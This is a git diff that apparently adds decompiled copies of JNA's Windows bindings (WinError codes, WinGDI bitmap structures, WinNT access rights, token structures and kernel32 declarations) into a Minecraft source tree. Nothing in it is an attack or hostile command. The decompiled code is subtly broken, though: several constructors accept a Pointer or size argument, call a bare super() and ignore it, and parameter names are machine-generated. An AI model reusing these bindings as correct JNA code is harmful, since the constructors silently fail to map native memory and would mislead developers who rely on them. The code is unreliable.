+  public static final int FWP_E_INVALID_WEIGHT = -2144206811;
+  public static final int FWP_E_MATCH_TYPE_MISMATCH = -2144206810;
+  public static final int FWP_E_TYPE_MISMATCH = -2144206809;
+  public static final int FWP_E_OUT_OF_BOUNDS = -2144206808;
+  public static final int FWP_E_RESERVED = -2144206807;
+  public static final int FWP_E_DUPLICATE_CONDITION = -2144206806;
+  public static final int FWP_E_DUPLICATE_KEYMOD = -2144206805;
+  public static final int FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER = -2144206804;
+  public static final int FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER = -2144206803;
+  public static final int FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER = -2144206802;
+  public static final int FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT = -2144206801;
+  public static final int FWP_E_INCOMPATIBLE_AUTH_METHOD = -2144206800;
+  public static final int FWP_E_INCOMPATIBLE_DH_GROUP = -2144206799;
+  public static final int FWP_E_EM_NOT_SUPPORTED = -2144206798;
+  public static final int FWP_E_NEVER_MATCH = -2144206797;
+  public static final int FWP_E_PROVIDER_CONTEXT_MISMATCH = -2144206796;
+  public static final int FWP_E_INVALID_PARAMETER = -2144206795;
+  public static final int FWP_E_TOO_MANY_SUBLAYERS = -2144206794;
+  public static final int FWP_E_CALLOUT_NOTIFICATION_FAILED = -2144206793;
+  public static final int FWP_E_INVALID_AUTH_TRANSFORM = -2144206792;
+  public static final int FWP_E_INVALID_CIPHER_TRANSFORM = -2144206791;
+  public static final int ERROR_NDIS_INTERFACE_CLOSING = -2144075774;
+  public static final int ERROR_NDIS_BAD_VERSION = -2144075772;
+  public static final int ERROR_NDIS_BAD_CHARACTERISTICS = -2144075771;
+  public static final int ERROR_NDIS_ADAPTER_NOT_FOUND = -2144075770;
+  public static final int ERROR_NDIS_OPEN_FAILED = -2144075769;
+  public static final int ERROR_NDIS_DEVICE_FAILED = -2144075768;
+  public static final int ERROR_NDIS_MULTICAST_FULL = -2144075767;
+  public static final int ERROR_NDIS_MULTICAST_EXISTS = -2144075766;
+  public static final int ERROR_NDIS_MULTICAST_NOT_FOUND = -2144075765;
+  public static final int ERROR_NDIS_REQUEST_ABORTED = -2144075764;
+  public static final int ERROR_NDIS_RESET_IN_PROGRESS = -2144075763;
+  public static final int ERROR_NDIS_NOT_SUPPORTED = -2144075589;
+  public static final int ERROR_NDIS_INVALID_PACKET = -2144075761;
+  public static final int ERROR_NDIS_ADAPTER_NOT_READY = -2144075759;
+  public static final int ERROR_NDIS_INVALID_LENGTH = -2144075756;
+  public static final int ERROR_NDIS_INVALID_DATA = -2144075755;
+  public static final int ERROR_NDIS_BUFFER_TOO_SHORT = -2144075754;
+  public static final int ERROR_NDIS_INVALID_OID = -2144075753;
+  public static final int ERROR_NDIS_ADAPTER_REMOVED = -2144075752;
+  public static final int ERROR_NDIS_UNSUPPORTED_MEDIA = -2144075751;
+  public static final int ERROR_NDIS_GROUP_ADDRESS_IN_USE = -2144075750;
+  public static final int ERROR_NDIS_FILE_NOT_FOUND = -2144075749;
+  public static final int ERROR_NDIS_ERROR_READING_FILE = -2144075748;
+  public static final int ERROR_NDIS_ALREADY_MAPPED = -2144075747;
+  public static final int ERROR_NDIS_RESOURCE_CONFLICT = -2144075746;
+  public static final int ERROR_NDIS_MEDIA_DISCONNECTED = -2144075745;
+  public static final int ERROR_NDIS_INVALID_ADDRESS = -2144075742;
+  public static final int ERROR_NDIS_INVALID_DEVICE_REQUEST = -2144075760;
+  public static final int ERROR_NDIS_PAUSED = -2144075734;
+  public static final int ERROR_NDIS_INTERFACE_NOT_FOUND = -2144075733;
+  public static final int ERROR_NDIS_UNSUPPORTED_REVISION = -2144075732;
+  public static final int ERROR_NDIS_INVALID_PORT = -2144075731;
+  public static final int ERROR_NDIS_INVALID_PORT_STATE = -2144075730;
+  public static final int ERROR_NDIS_LOW_POWER_STATE = -2144075729;
+  public static final int ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED = -2144067584;
+  public static final int ERROR_NDIS_DOT11_MEDIA_IN_USE = -2144067583;
+  public static final int ERROR_NDIS_DOT11_POWER_STATE_INVALID = -2144067582;
+  public static final int ERROR_NDIS_INDICATION_REQUIRED = 3407873;
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinGDI.java b/src/minecraft/com/sun/jna/platform/win32/WinGDI.java
new file mode 100644
index 0000000..49278af
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinGDI.java
@@ -0,0 +1,93 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Structure;
+
+public abstract interface WinGDI extends com.sun.jna.win32.StdCallLibrary {
+  public static final int RDH_RECTANGLES = 1;
+  public static final int RGN_AND = 1;
+  public static final int RGN_OR = 2;
+  public static final int RGN_XOR = 3;
+  public static final int RGN_DIFF = 4;
+  public static final int RGN_COPY = 5;
+  public static final int ERROR = 0;
+  public static final int NULLREGION = 1;
+  public static final int SIMPLEREGION = 2;
+  public static final int COMPLEXREGION = 3;
+  public static final int ALTERNATE = 1;
+  public static final int WINDING = 2;
+  public static final int BI_RGB = 0;
+  public static final int BI_RLE8 = 1;
+  public static final int BI_RLE4 = 2;
+  public static final int BI_BITFIELDS = 3;
+  public static final int BI_JPEG = 4;
+  public static final int BI_PNG = 5;
+  public static final int DIB_RGB_COLORS = 0;
+  public static final int DIB_PAL_COLORS = 1;
+  
+  public static class RGNDATAHEADER extends Structure {
+    public int dwSize = size();
+    public int iType = 1;
+    public int nCount;
+    public int nRgnSize;
+    public WinDef.RECT rcBound;
+    
+    public RGNDATAHEADER() {} }
+  
+  public static class RGNDATA extends Structure { public WinGDI.RGNDATAHEADER rdh;
+    public byte[] Buffer;
+    
+    public RGNDATA(int bufferSize) { Buffer = new byte[bufferSize];
+      allocateMemory();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class BITMAPINFOHEADER
+    extends Structure
+  {
+    public int biSize = size();
+    public int biWidth;
+    public int biHeight;
+    public short biPlanes;
+    public short biBitCount;
+    public int biCompression;
+    public int biSizeImage;
+    public int biXPelsPerMeter;
+    public int biYPelsPerMeter;
+    public int biClrUsed;
+    public int biClrImportant;
+    
+    public BITMAPINFOHEADER() {} }
+  
+  public static class RGBQUAD extends Structure { public byte rgbBlue;
+    public byte rgbGreen;
+    public byte rgbRed;
+    public byte rgbReserved = 0;
+    
+    public RGBQUAD() {} }
+  
+  public static class BITMAPINFO extends Structure { public WinGDI.BITMAPINFOHEADER bmiHeader = new WinGDI.BITMAPINFOHEADER();
+    public WinGDI.RGBQUAD[] bmiColors = new WinGDI.RGBQUAD[1];
+    public BITMAPINFO() { this(1); }
+    
+    public BITMAPINFO(int size) { bmiColors = new WinGDI.RGBQUAD[size]; }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinNT.java b/src/minecraft/com/sun/jna/platform/win32/WinNT.java
new file mode 100644
index 0000000..1dcb183
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinNT.java
@@ -0,0 +1,2030 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.FromNativeContext;
+import com.sun.jna.Memory;
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.PointerType;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.Union;
+import com.sun.jna.ptr.ByReference;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.LongByReference;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary.StdCallCallback;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface WinNT
+  extends WinError, WinDef, WinBase, BaseTSD
+{
+  public static final int DELETE = 65536;
+  public static final int READ_CONTROL = 131072;
+  public static final int WRITE_DAC = 262144;
+  public static final int WRITE_OWNER = 524288;
+  public static final int SYNCHRONIZE = 1048576;
+  public static final int STANDARD_RIGHTS_REQUIRED = 983040;
+  public static final int STANDARD_RIGHTS_READ = 131072;
+  public static final int STANDARD_RIGHTS_WRITE = 131072;
+  public static final int STANDARD_RIGHTS_EXECUTE = 131072;
+  public static final int STANDARD_RIGHTS_ALL = 2031616;
+  public static final int SPECIFIC_RIGHTS_ALL = 65535;
+  public static final int TOKEN_ASSIGN_PRIMARY = 1;
+  public static final int TOKEN_DUPLICATE = 2;
+  public static final int TOKEN_IMPERSONATE = 4;
+  public static final int TOKEN_QUERY = 8;
+  public static final int TOKEN_QUERY_SOURCE = 16;
+  public static final int TOKEN_ADJUST_PRIVILEGES = 32;
+  public static final int TOKEN_ADJUST_GROUPS = 64;
+  public static final int TOKEN_ADJUST_DEFAULT = 128;
+  public static final int TOKEN_ADJUST_SESSIONID = 256;
+  public static final int TOKEN_ALL_ACCESS_P = 983295;
+  public static final int TOKEN_ALL_ACCESS = 983551;
+  public static final int TOKEN_READ = 131080;
+  public static final int TOKEN_WRITE = 131296;
+  public static final int TOKEN_EXECUTE = 131072;
+  public static final int THREAD_TERMINATE = 1;
+  public static final int THREAD_SUSPEND_RESUME = 2;
+  public static final int THREAD_GET_CONTEXT = 8;
+  public static final int THREAD_SET_CONTEXT = 16;
+  public static final int THREAD_QUERY_INFORMATION = 64;
+  public static final int THREAD_SET_INFORMATION = 32;
+  public static final int THREAD_SET_THREAD_TOKEN = 128;
+  public static final int THREAD_IMPERSONATE = 256;
+  public static final int THREAD_DIRECT_IMPERSONATION = 512;
+  public static final int THREAD_SET_LIMITED_INFORMATION = 1024;
+  public static final int THREAD_QUERY_LIMITED_INFORMATION = 2048;
+  public static final int THREAD_ALL_ACCESS = 2032639;
+  public static final int FILE_READ_DATA = 1;
+  public static final int FILE_LIST_DIRECTORY = 1;
+  public static final int FILE_WRITE_DATA = 2;
+  public static final int FILE_ADD_FILE = 2;
+  public static final int FILE_APPEND_DATA = 4;
+  public static final int FILE_ADD_SUBDIRECTORY = 4;
+  public static final int FILE_CREATE_PIPE_INSTANCE = 4;
+  public static final int FILE_READ_EA = 8;
+  public static final int FILE_WRITE_EA = 16;
+  public static final int FILE_EXECUTE = 32;
+  public static final int FILE_TRAVERSE = 32;
+  public static final int FILE_DELETE_CHILD = 64;
+  public static final int FILE_READ_ATTRIBUTES = 128;
+  public static final int FILE_WRITE_ATTRIBUTES = 256;
+  public static final int FILE_ALL_ACCESS = 2032127;
+  public static final int FILE_GENERIC_READ = 1179785;
+  public static final int FILE_GENERIC_WRITE = 1179926;
+  public static final int FILE_GENERIC_EXECUTE = 1179808;
+  public static final int CREATE_NEW = 1;
+  public static final int CREATE_ALWAYS = 2;
+  public static final int OPEN_EXISTING = 3;
+  public static final int OPEN_ALWAYS = 4;
+  public static final int TRUNCATE_EXISTING = 5;
+  public static final int FILE_FLAG_WRITE_THROUGH = Integer.MIN_VALUE;
+  public static final int FILE_FLAG_OVERLAPPED = 1073741824;
+  public static final int FILE_FLAG_NO_BUFFERING = 536870912;
+  public static final int FILE_FLAG_RANDOM_ACCESS = 268435456;
+  public static final int FILE_FLAG_SEQUENTIAL_SCAN = 134217728;
+  public static final int FILE_FLAG_DELETE_ON_CLOSE = 67108864;
+  public static final int FILE_FLAG_BACKUP_SEMANTICS = 33554432;
+  public static final int FILE_FLAG_POSIX_SEMANTICS = 16777216;
+  public static final int FILE_FLAG_OPEN_REPARSE_POINT = 2097152;
+  public static final int FILE_FLAG_OPEN_NO_RECALL = 1048576;
+  public static final int GENERIC_READ = Integer.MIN_VALUE;
+  public static final int GENERIC_WRITE = 1073741824;
+  public static final int GENERIC_EXECUTE = 536870912;
+  public static final int GENERIC_ALL = 268435456;
+  public static final int ACCESS_SYSTEM_SECURITY = 16777216;
+  public static final int PAGE_READONLY = 2;
+  public static final int PAGE_READWRITE = 4;
+  public static final int PAGE_WRITECOPY = 8;
+  public static final int PAGE_EXECUTE = 16;
+  public static final int PAGE_EXECUTE_READ = 32;
+  public static final int PAGE_EXECUTE_READWRITE = 64;
+  public static final int SECTION_QUERY = 1;
+  public static final int SECTION_MAP_WRITE = 2;
+  public static final int SECTION_MAP_READ = 4;
+  public static final int SECTION_MAP_EXECUTE = 8;
+  public static final int SECTION_EXTEND_SIZE = 16;
+  public static final int FILE_SHARE_READ = 1;
+  public static final int FILE_SHARE_WRITE = 2;
+  public static final int FILE_SHARE_DELETE = 4;
+  public static final int FILE_ATTRIBUTE_READONLY = 1;
+  public static final int FILE_ATTRIBUTE_HIDDEN = 2;
+  public static final int FILE_ATTRIBUTE_SYSTEM = 4;
+  public static final int FILE_ATTRIBUTE_DIRECTORY = 16;
+  public static final int FILE_ATTRIBUTE_ARCHIVE = 32;
+  public static final int FILE_ATTRIBUTE_DEVICE = 64;
+  public static final int FILE_ATTRIBUTE_NORMAL = 128;
+  public static final int FILE_ATTRIBUTE_TEMPORARY = 256;
+  public static final int FILE_ATTRIBUTE_SPARSE_FILE = 512;
+  public static final int FILE_ATTRIBUTE_REPARSE_POINT = 1024;
+  public static final int FILE_ATTRIBUTE_COMPRESSED = 2048;
+  public static final int FILE_ATTRIBUTE_OFFLINE = 4096;
+  public static final int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192;
+  public static final int FILE_ATTRIBUTE_ENCRYPTED = 16384;
+  public static final int FILE_ATTRIBUTE_VIRTUAL = 65536;
+  public static final int FILE_NOTIFY_CHANGE_FILE_NAME = 1;
+  public static final int FILE_NOTIFY_CHANGE_DIR_NAME = 2;
+  public static final int FILE_NOTIFY_CHANGE_NAME = 3;
+  public static final int FILE_NOTIFY_CHANGE_ATTRIBUTES = 4;
+  public static final int FILE_NOTIFY_CHANGE_SIZE = 8;
+  public static final int FILE_NOTIFY_CHANGE_LAST_WRITE = 16;
+  public static final int FILE_NOTIFY_CHANGE_LAST_ACCESS = 32;
+  public static final int FILE_NOTIFY_CHANGE_CREATION = 64;
+  public static final int FILE_NOTIFY_CHANGE_SECURITY = 256;
+  public static final int FILE_ACTION_ADDED = 1;
+  public static final int FILE_ACTION_REMOVED = 2;
+  public static final int FILE_ACTION_MODIFIED = 3;
+  public static final int FILE_ACTION_RENAMED_OLD_NAME = 4;
+  public static final int FILE_ACTION_RENAMED_NEW_NAME = 5;
+  public static final int FILE_CASE_SENSITIVE_SEARCH = 1;
+  public static final int FILE_CASE_PRESERVED_NAMES = 2;
+  public static final int FILE_UNICODE_ON_DISK = 4;
+  public static final int FILE_PERSISTENT_ACLS = 8;
+  public static final int FILE_FILE_COMPRESSION = 16;
+  public static final int FILE_VOLUME_QUOTAS = 32;
+  public static final int FILE_SUPPORTS_SPARSE_FILES = 64;
+  public static final int FILE_SUPPORTS_REPARSE_POINTS = 128;
+  public static final int FILE_SUPPORTS_REMOTE_STORAGE = 256;
+  public static final int FILE_VOLUME_IS_COMPRESSED = 32768;
+  public static final int FILE_SUPPORTS_OBJECT_IDS = 65536;
+  public static final int FILE_SUPPORTS_ENCRYPTION = 131072;
+  public static final int FILE_NAMED_STREAMS = 262144;
+  public static final int FILE_READ_ONLY_VOLUME = 524288;
+  public static final int FILE_SEQUENTIAL_WRITE_ONCE = 1048576;
+  public static final int FILE_SUPPORTS_TRANSACTIONS = 2097152;
+  public static final int KEY_QUERY_VALUE = 1;
+  public static final int KEY_SET_VALUE = 2;
+  public static final int KEY_CREATE_SUB_KEY = 4;
+  public static final int KEY_ENUMERATE_SUB_KEYS = 8;
+  public static final int KEY_NOTIFY = 16;
+  public static final int KEY_CREATE_LINK = 32;
+  public static final int KEY_WOW64_32KEY = 512;
+  public static final int KEY_WOW64_64KEY = 256;
+  public static final int KEY_WOW64_RES = 768;
+  public static final int KEY_READ = 131097;
+  public static final int KEY_WRITE = 131078;
+  public static final int KEY_EXECUTE = 131097;
+  public static final int KEY_ALL_ACCESS = 2031679;
+  public static final int REG_OPTION_RESERVED = 0;
+  public static final int REG_OPTION_NON_VOLATILE = 0;
+  public static final int REG_OPTION_VOLATILE = 1;
+  public static final int REG_OPTION_CREATE_LINK = 2;
+  public static final int REG_OPTION_BACKUP_RESTORE = 4;
+  public static final int REG_OPTION_OPEN_LINK = 8;
+  
+  public static abstract class SECURITY_IMPERSONATION_LEVEL
+  {
+    public static final int SecurityAnonymous = 0;
+    public static final int SecurityIdentification = 1;
+    public static final int SecurityImpersonation = 2;
+    public static final int SecurityDelegation = 3;
+    
+    public SECURITY_IMPERSONATION_LEVEL() {}
+  }
+  
+  public static abstract class TOKEN_INFORMATION_CLASS
+  {
+    public static final int TokenUser = 1;
+    public static final int TokenGroups = 2;
+    public static final int TokenPrivileges = 3;
+    public static final int TokenOwner = 4;
+    public static final int TokenPrimaryGroup = 5;
+    public static final int TokenDefaultDacl = 6;
+    public static final int TokenSource = 7;
+    public static final int TokenType = 8;
+    public static final int TokenImpersonationLevel = 9;
+    public static final int TokenStatistics = 10;
+    public static final int TokenRestrictedSids = 11;
+    public static final int TokenSessionId = 12;
+    public static final int TokenGroupsAndPrivileges = 13;
+    public static final int TokenSessionReference = 14;
+    public static final int TokenSandBoxInert = 15;
+    public static final int TokenAuditPolicy = 16;
+    public static final int TokenOrigin = 17;
+    public static final int TokenElevationType = 18;
+    public static final int TokenLinkedToken = 19;
+    public static final int TokenElevation = 20;
+    public static final int TokenHasRestrictions = 21;
+    public static final int TokenAccessInformation = 22;
+    public static final int TokenVirtualizationAllowed = 23;
+    public static final int TokenVirtualizationEnabled = 24;
+    public static final int TokenIntegrityLevel = 25;
+    public static final int TokenUIAccess = 26;
+    public static final int TokenMandatoryPolicy = 27;
+    public static final int TokenLogonSid = 28;
+    
+    public TOKEN_INFORMATION_CLASS() {}
+  }
+  
+  public static abstract class TOKEN_TYPE
+  {
+    public static final int TokenPrimary = 1;
+    public static final int TokenImpersonation = 2;
+    
+    public TOKEN_TYPE() {}
+  }
+  
+  public static class LUID_AND_ATTRIBUTES
+    extends Structure
+  {
+    public LUID_AND_ATTRIBUTES() {}
+    
+    public LUID_AND_ATTRIBUTES(WinNT.LUID luid, WinDef.DWORD attributes)
+    {
+      Luid = luid;
+      Attributes = attributes;
+    }
+    
+    public WinNT.LUID Luid;
+    public WinDef.DWORD Attributes;
+  }
+  
+  public static class SID_AND_ATTRIBUTES extends Structure {
+    public WinNT.PSID.ByReference Sid;
+    public int Attributes;
+    
+    public SID_AND_ATTRIBUTES() {}
+    
+    public SID_AND_ATTRIBUTES(Pointer memory) {
+      super();
+    }
+  }
+  
+
+
+
+
+  public static class TOKEN_OWNER
+    extends Structure
+  {
+    public WinNT.PSID.ByReference Owner;
+    
+
+
+
+
+    public TOKEN_OWNER() {}
+    
+
+
+
+
+    public TOKEN_OWNER(int size)
+    {
+      super();
+    }
+    
+    public TOKEN_OWNER(Pointer memory) {
+      super();
+      read();
+    }
+  }
+  
+
+
+
+  public static class PSID
+    extends Structure
+  {
+    public Pointer sid;
+    
+
+
+    public PSID() {}
+    
+
+
+    public PSID(byte[] data)
+    {
+      super();
+      getPointer().write(0L, data, 0, data.length);
+      read();
+    }
+    
+    public PSID(int size) {
+      super();
+    }
+    
+    public PSID(Pointer memory) {
+      super();
+      read();
+    }
+    
+    public byte[] getBytes() {
+      int len = Advapi32.INSTANCE.GetLengthSid(this);
+      return getPointer().getByteArray(0L, len);
+    }
+    
+    public static class ByReference extends WinNT.PSID implements Structure.ByReference {
+      public ByReference() {}
+    }
+  }
+  
+  public static class PSIDByReference extends ByReference { public PSIDByReference() { this(null); }
+    
+    public PSIDByReference(WinNT.PSID h)
+    {
+      super();
+      setValue(h);
+    }
+    
+    public void setValue(WinNT.PSID h) {
+      getPointer().setPointer(0L, h != null ? h.getPointer() : null);
+    }
+    
+    public WinNT.PSID getValue() {
+      Pointer p = getPointer().getPointer(0L);
+      if (p == null) {
+        return null;
+      }
+      return new WinNT.PSID(p);
+    }
+  }
+  
+
+  public static class TOKEN_USER
+    extends Structure
+  {
+    public WinNT.SID_AND_ATTRIBUTES User;
+    
+    public TOKEN_USER() {}
+    
+    public TOKEN_USER(Pointer memory)
+    {
+      super();
+      read();
+    }
+    
+    public TOKEN_USER(int size) {
+      super();
+    }
+  }
+  
+
+
+  public static class TOKEN_GROUPS
+    extends Structure
+  {
+    public int GroupCount;
+    
+
+    public WinNT.SID_AND_ATTRIBUTES Group0;
+    
+
+
+    public TOKEN_GROUPS() {}
+    
+
+    public TOKEN_GROUPS(Pointer memory)
+    {
+      super();
+      read();
+    }
+    
+    public TOKEN_GROUPS(int size) {
+      super();
+    }
+    
+
+
+
+
+
+
+
+
+
+    public WinNT.SID_AND_ATTRIBUTES[] getGroups()
+    {
+      return (WinNT.SID_AND_ATTRIBUTES[])Group0.toArray(GroupCount);
+    }
+  }
+  
+
+
+
+
+  public static class TOKEN_PRIVILEGES
+    extends Structure
+  {
+    public WinDef.DWORD PrivilegeCount;
+    
+
+
+
+    public WinNT.LUID_AND_ATTRIBUTES[] Privileges;
+    
+
+
+
+    public TOKEN_PRIVILEGES(int nbOfPrivileges)
+    {
+      PrivilegeCount = new WinDef.DWORD(nbOfPrivileges);
+      Privileges = new WinNT.LUID_AND_ATTRIBUTES[nbOfPrivileges];
+    }
+  }
+  
+
+
+
+  public abstract Pointer LocalFree(Pointer paramPointer);
+  
+
+
+
+  public abstract Pointer GlobalFree(Pointer paramPointer);
+  
+
+
+
+  public abstract WinDef.HMODULE GetModuleHandle(String paramString);
+  
+
+
+
+  public abstract void GetSystemTime(WinBase.SYSTEMTIME paramSYSTEMTIME);
+  
+
+
+
+  public abstract int GetTickCount();
+  
+
+
+
+  public abstract int GetCurrentThreadId();
+  
+
+
+
+  public abstract HANDLE GetCurrentThread();
+  
+
+
+
+  public abstract int GetCurrentProcessId();
+  
+
+
+
+  public abstract HANDLE GetCurrentProcess();
+  
+
+
+
+  public abstract int GetProcessId(HANDLE paramHANDLE);
+  
+
+
+
+  public abstract int GetProcessVersion(int paramInt);
+  
+
+
+
+  public abstract boolean GetExitCodeProcess(HANDLE paramHANDLE, IntByReference paramIntByReference);
+  
+
+
+  public abstract boolean TerminateProcess(HANDLE paramHANDLE, int paramInt);
+  
+
+
+  public abstract int GetLastError();
+  
+
+
+  public abstract void SetLastError(int paramInt);
+  
+
+
+  public abstract int GetDriveType(String paramString);
+  
+
+
+  public abstract int FormatMessage(int paramInt1, Pointer paramPointer1, int paramInt2, int paramInt3, Pointer paramPointer2, int paramInt4, Pointer paramPointer3);
+  
+
+
+  public abstract int FormatMessage(int paramInt1, Pointer paramPointer1, int paramInt2, int paramInt3, PointerByReference paramPointerByReference, int paramInt4, Pointer paramPointer2);
+  
+
+
+  public abstract HANDLE CreateFile(String paramString, int paramInt1, int paramInt2, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES, int paramInt3, int paramInt4, HANDLE paramHANDLE);
+  
+
+
+  public abstract boolean CopyFile(String paramString1, String paramString2, boolean paramBoolean);
+  
+
+
+  public abstract boolean MoveFile(String paramString1, String paramString2);
+  
+
+
+  public abstract boolean MoveFileEx(String paramString1, String paramString2, WinDef.DWORD paramDWORD);
+  
+
+
+  public abstract boolean CreateDirectory(String paramString, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES);
+  
+
+
+  public abstract boolean ReadFile(HANDLE paramHANDLE, Pointer paramPointer, int paramInt, IntByReference paramIntByReference, WinBase.OVERLAPPED paramOVERLAPPED);
+  
+
+
+  public abstract HANDLE CreateIoCompletionPort(HANDLE paramHANDLE1, HANDLE paramHANDLE2, Pointer paramPointer, int paramInt);
+  
+
+
+  public abstract boolean GetQueuedCompletionStatus(HANDLE paramHANDLE, IntByReference paramIntByReference, BaseTSD.ULONG_PTRByReference paramULONG_PTRByReference, PointerByReference paramPointerByReference, int paramInt);
+  
+
+
+  public abstract boolean PostQueuedCompletionStatus(HANDLE paramHANDLE, int paramInt, Pointer paramPointer, WinBase.OVERLAPPED paramOVERLAPPED);
+  
+
+
+  public abstract int WaitForSingleObject(HANDLE paramHANDLE, int paramInt);
+  
+
+
+  public abstract int WaitForMultipleObjects(int paramInt1, HANDLE[] paramArrayOfHANDLE, boolean paramBoolean, int paramInt2);
+  
+
+
+  public abstract boolean DuplicateHandle(HANDLE paramHANDLE1, HANDLE paramHANDLE2, HANDLE paramHANDLE3, HANDLEByReference paramHANDLEByReference, int paramInt1, boolean paramBoolean, int paramInt2);
+  
+
+
+  public abstract boolean CloseHandle(HANDLE paramHANDLE);
+  
+
+
+  public abstract boolean ReadDirectoryChangesW(HANDLE paramHANDLE, FILE_NOTIFY_INFORMATION paramFILE_NOTIFY_INFORMATION, int paramInt1, boolean paramBoolean, int paramInt2, IntByReference paramIntByReference, WinBase.OVERLAPPED paramOVERLAPPED, OVERLAPPED_COMPLETION_ROUTINE paramOVERLAPPED_COMPLETION_ROUTINE);
+  
+
+
+  public abstract int GetShortPathName(String paramString, char[] paramArrayOfChar, int paramInt);
+  
+
+
+  public abstract Pointer LocalAlloc(int paramInt1, int paramInt2);
+  
+
+
+  public static abstract class SID_NAME_USE
+  {
+    public static final int SidTypeUser = 1;
+    
+
+    public static final int SidTypeGroup = 2;
+    
+
+    public static final int SidTypeDomain = 3;
+    
+
+    public static final int SidTypeAlias = 4;
+    
+
+    public static final int SidTypeWellKnownGroup = 5;
+    
+
+    public static final int SidTypeDeletedAccount = 6;
+    
+
+    public static final int SidTypeInvalid = 7;
+    
+
+    public static final int SidTypeUnknown = 8;
+    
+
+    public static final int SidTypeComputer = 9;
+    
+
+    public static final int SidTypeLabel = 10;
+    
+
+
+    public SID_NAME_USE() {}
+  }
+  
+
+
+  public static class FILE_NOTIFY_INFORMATION
+    extends Structure
+  {
+    public int NextEntryOffset;
+    
+
+    public int Action;
+    
+
+    public int FileNameLength;
+    
+
+    public char[] FileName = new char[1];
+    
+    private FILE_NOTIFY_INFORMATION() {}
+    
+    public FILE_NOTIFY_INFORMATION(int size)
+    {
+      if (size < size()) {
+        throw new IllegalArgumentException("Size must greater than " + size() + ", requested " + size);
+      }
+      allocateMemory(size);
+    }
+    
+    public String getFilename()
+    {
+      return new String(FileName, 0, FileNameLength / 2);
+    }
+    
+    public void read()
+    {
+      FileName = new char[0];
+      super.read();
+      FileName = getPointer().getCharArray(12L, FileNameLength / 2);
+    }
+    
+    public FILE_NOTIFY_INFORMATION next() {
+      if (NextEntryOffset == 0) {
+        return null;
+      }
+      FILE_NOTIFY_INFORMATION next = new FILE_NOTIFY_INFORMATION();
+      next.useMemory(getPointer(), NextEntryOffset);
+      next.read();
+      return next;
+    }
+  }
+  
+
+
+
+
+  public abstract boolean WriteFile(HANDLE paramHANDLE, byte[] paramArrayOfByte, int paramInt, IntByReference paramIntByReference, WinBase.OVERLAPPED paramOVERLAPPED);
+  
+
+
+
+
+  public abstract HANDLE CreateEvent(WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES, boolean paramBoolean1, boolean paramBoolean2, String paramString);
+  
+
+
+
+
+  public abstract boolean SetEvent(HANDLE paramHANDLE);
+  
+
+
+
+
+  public abstract boolean PulseEvent(HANDLE paramHANDLE);
+  
+
+
+
+
+  public abstract HANDLE CreateFileMapping(HANDLE paramHANDLE, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES, int paramInt1, int paramInt2, int paramInt3, String paramString);
+  
+
+
+
+
+  public abstract Pointer MapViewOfFile(HANDLE paramHANDLE, int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+
+
+
+
+  public abstract boolean UnmapViewOfFile(Pointer paramPointer);
+  
+
+
+
+
+  public abstract boolean GetComputerName(char[] paramArrayOfChar, IntByReference paramIntByReference);
+  
+
+
+
+
+  public abstract HANDLE OpenThread(int paramInt1, boolean paramBoolean, int paramInt2);
+  
+
+
+
+
+  public abstract boolean CreateProcess(String paramString1, String paramString2, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES1, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES2, boolean paramBoolean, WinDef.DWORD paramDWORD, Pointer paramPointer, String paramString3, WinBase.STARTUPINFO paramSTARTUPINFO, WinBase.PROCESS_INFORMATION.ByReference paramByReference);
+  
+
+
+
+
+  public abstract HANDLE OpenProcess(int paramInt1, boolean paramBoolean, int paramInt2);
+  
+
+
+
+
+  public abstract WinDef.DWORD GetTempPath(WinDef.DWORD paramDWORD, char[] paramArrayOfChar);
+  
+
+
+
+
+  public abstract boolean SetEnvironmentVariable(String paramString1, String paramString2);
+  
+
+
+
+
+  public abstract WinDef.DWORD GetVersion();
+  
+
+
+
+
+  public abstract boolean GetVersionEx(OSVERSIONINFO paramOSVERSIONINFO);
+  
+
+
+
+
+  public abstract boolean GetVersionEx(OSVERSIONINFOEX paramOSVERSIONINFOEX);
+  
+
+
+
+
+  public abstract void GetSystemInfo(WinBase.SYSTEM_INFO paramSYSTEM_INFO);
+  
+
+
+
+
+  public abstract void GetNativeSystemInfo(WinBase.SYSTEM_INFO paramSYSTEM_INFO);
+  
+
+
+
+
+  public abstract boolean IsWow64Process(HANDLE paramHANDLE, IntByReference paramIntByReference);
+  
+
+
+
+
+  public abstract boolean GlobalMemoryStatusEx(WinBase.MEMORYSTATUSEX paramMEMORYSTATUSEX);
+  
+
+
+
+
+  public abstract boolean GetFileTime(HANDLE paramHANDLE, WinBase.FILETIME.ByReference paramByReference1, WinBase.FILETIME.ByReference paramByReference2, WinBase.FILETIME.ByReference paramByReference3);
+  
+
+
+
+
+  public abstract int SetFileTime(HANDLE paramHANDLE, WinBase.FILETIME paramFILETIME1, WinBase.FILETIME paramFILETIME2, WinBase.FILETIME paramFILETIME3);
+  
+
+
+
+
